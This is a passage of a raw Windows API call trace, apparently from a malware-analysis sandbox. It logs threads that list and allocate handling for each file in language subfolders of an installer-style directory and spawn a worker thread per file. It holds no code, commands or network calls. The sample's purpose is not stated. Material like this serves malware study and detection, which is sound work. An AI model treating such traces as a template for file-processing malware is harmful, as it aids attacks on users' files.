lpFindFileData=0x33f4200 | out: lpFindFileData=0x33f4200*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.456] FindClose (in: hFindFile=0x33e0058 | out: hFindFile=0x33e0058) returned 1 [0062.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4200) returned 1 [0062.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0062.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dff18) returned 1 [0062.457] RtlExitUserThread (Status=0x0) Thread: id = 37 os_tid = 0xd68 [0060.284] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fcc50 [0060.284] wcscpy (in: _Dest=0x33fcc50, _Source="C:\\588bce7c90097ed212\\1032" | out: _Dest="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032" [0060.284] wcscat (in: _Dest=0x33fcc50, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0060.285] wcscat (in: _Dest=0x33fcc50, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1032\\*") returned="C:\\588bce7c90097ed212\\1032\\*" [0060.285] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f9b50 [0060.285] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x33f9b50 | out: lpFindFileData=0x33f9b50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0518 [0060.291] wcscmp (_String1=".", _String2=".") returned 0 [0060.291] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f9b50 | out: lpFindFileData=0x33f9b50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.292] wcscmp (_String1="..", _String2=".") returned 1 [0060.292] wcscmp (_String1="..", _String2="..") returned 0 [0060.292] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f9b50 | out: lpFindFileData=0x33f9b50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.292] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.292] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.292] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fab48 [0060.292] wcscpy (in: _Dest=0x33fab48, _Source="C:\\588bce7c90097ed212\\1032" | out: _Dest="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032" [0060.292] wcscat (in: _Dest=0x33fab48, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0060.292] wcscat (in: _Dest=0x33fab48, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf" [0062.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fab48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544 [0062.427] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f9b50 | out: lpFindFileData=0x33f9b50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.427] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.427] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.427] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427208 [0062.427] wcscpy (in: _Dest=0x3427208, _Source="C:\\588bce7c90097ed212\\1032" | out: _Dest="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032" [0062.427] wcscat (in: _Dest=0x3427208, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0062.427] wcscat (in: _Dest=0x3427208, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" [0062.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0062.428] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f9b50 | out: lpFindFileData=0x33f9b50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.428] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.428] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.428] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x33f9b50 | out: lpFindFileData=0x33f9b50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.428] FindClose (in: hFindFile=0x33e0518 | out: hFindFile=0x33e0518) returned 1 [0062.428] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f9b50) returned 1 [0062.428] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0062.428] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dfc18) returned 1 [0062.428] RtlExitUserThread (Status=0x0) Thread: id = 38 os_tid = 0xd70 [0060.285] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fcd28 [0060.285] wcscpy (in: _Dest=0x33fcd28, _Source="C:\\588bce7c90097ed212\\1033" | out: _Dest="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033" [0060.285] wcscat (in: _Dest=0x33fcd28, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0060.285] wcscat (in: _Dest=0x33fcd28, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1033\\*") returned="C:\\588bce7c90097ed212\\1033\\*" [0060.285] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33fadb0 [0060.285] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x33fadb0 | out: lpFindFileData=0x33fadb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e04d8 [0060.290] wcscmp (_String1=".", _String2=".") returned 0 [0060.290] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33fadb0 | out: lpFindFileData=0x33fadb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.290] wcscmp (_String1="..", _String2=".") returned 1 [0060.291] wcscmp (_String1="..", _String2="..") returned 0 [0060.291] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33fadb0 | out: lpFindFileData=0x33fadb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.291] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.291] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.291] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fa918 [0060.291] wcscpy (in: _Dest=0x33fa918, _Source="C:\\588bce7c90097ed212\\1033" | out: _Dest="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033" [0060.291] wcscat (in: _Dest=0x33fa918, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0060.291] wcscat (in: _Dest=0x33fa918, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf" [0062.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fa918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540 [0062.430] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33fadb0 | out: lpFindFileData=0x33fadb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.430] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.430] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427750 [0062.430] wcscpy (in: _Dest=0x3427750, _Source="C:\\588bce7c90097ed212\\1033" | out: _Dest="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033" [0062.430] wcscat (in: _Dest=0x3427750, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0062.430] wcscat (in: _Dest=0x3427750, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" [0062.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0062.431] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33fadb0 | out: lpFindFileData=0x33fadb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.431] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.431] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.431] FindNextFileW (in: hFindFile=0x33e04d8, lpFindFileData=0x33fadb0 | out: lpFindFileData=0x33fadb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.431] FindClose (in: hFindFile=0x33e04d8 | out: hFindFile=0x33e04d8) returned 1 [0062.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fadb0) returned 1 [0062.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0062.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dfc98) returned 1 [0062.437] RtlExitUserThread (Status=0x0) Thread: id = 39 os_tid = 0xf78 [0060.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd040 [0060.286] wcscpy (in: _Dest=0x33fd040, _Source="C:\\588bce7c90097ed212\\1035" | out: _Dest="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035" [0060.286] wcscat (in: _Dest=0x33fd040, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0060.286] wcscat (in: _Dest=0x33fd040, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1035\\*") returned="C:\\588bce7c90097ed212\\1035\\*" [0060.287] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33fb008 [0060.287] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x33fb008 | out: lpFindFileData=0x33fb008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0598 [0060.293] wcscmp (_String1=".", _String2=".") returned 0 [0060.293] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33fb008 | out: lpFindFileData=0x33fb008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.293] wcscmp (_String1="..", _String2=".") returned 1 [0060.293] wcscmp (_String1="..", _String2="..") returned 0 [0060.293] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33fb008 | out: lpFindFileData=0x33fb008*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.293] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.293] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.293] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fa9b8 [0060.293] wcscpy (in: _Dest=0x33fa9b8, _Source="C:\\588bce7c90097ed212\\1035" | out: _Dest="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035" [0060.293] wcscat (in: _Dest=0x33fa9b8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0060.294] wcscat (in: _Dest=0x33fa9b8, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf" [0062.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fa9b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0062.421] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33fb008 | out: lpFindFileData=0x33fb008*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.422] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.422] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x34271a0 [0062.422] wcscpy (in: _Dest=0x34271a0, _Source="C:\\588bce7c90097ed212\\1035" | out: _Dest="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035" [0062.422] wcscat (in: _Dest=0x34271a0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0062.422] wcscat (in: _Dest=0x34271a0, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" [0062.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34271a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0062.422] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33fb008 | out: lpFindFileData=0x33fb008*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.422] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.422] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.422] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33fb008 | out: lpFindFileData=0x33fb008*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.423] FindClose (in: hFindFile=0x33e0598 | out: hFindFile=0x33e0598) returned 1 [0062.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb008) returned 1 [0062.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd040) returned 1 [0062.423] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dfcd8) returned 1 [0062.423] RtlExitUserThread (Status=0x0) Thread: id = 40 os_tid = 0xa90 [0060.287] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fd088 [0060.287] wcscpy (in: _Dest=0x33fd088, _Source="C:\\588bce7c90097ed212\\1036" | out: _Dest="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036" [0060.287] wcscat (in: _Dest=0x33fd088, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0060.287] wcscat (in: _Dest=0x33fd088, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1036\\*") returned="C:\\588bce7c90097ed212\\1036\\*" [0060.287] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342c570 [0060.287] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x342c570 | out: lpFindFileData=0x342c570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0258 [0060.290] wcscmp (_String1=".", _String2=".") returned 0 [0060.290] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x342c570 | out: lpFindFileData=0x342c570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.290] wcscmp (_String1="..", _String2=".") returned 1 [0060.290] wcscmp (_String1="..", _String2="..") returned 0 [0060.290] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x342c570 | out: lpFindFileData=0x342c570*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.290] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.290] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33facd8 [0060.290] wcscpy (in: _Dest=0x33facd8, _Source="C:\\588bce7c90097ed212\\1036" | out: _Dest="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036" [0060.290] wcscat (in: _Dest=0x33facd8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0060.290] wcscat (in: _Dest=0x33facd8, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf" [0062.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33facd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c [0062.438] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x342c570 | out: lpFindFileData=0x342c570*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.438] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.438] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427270 [0062.438] wcscpy (in: _Dest=0x3427270, _Source="C:\\588bce7c90097ed212\\1036" | out: _Dest="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036" [0062.438] wcscat (in: _Dest=0x3427270, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0062.438] wcscat (in: _Dest=0x3427270, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" [0062.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0062.439] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x342c570 | out: lpFindFileData=0x342c570*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, 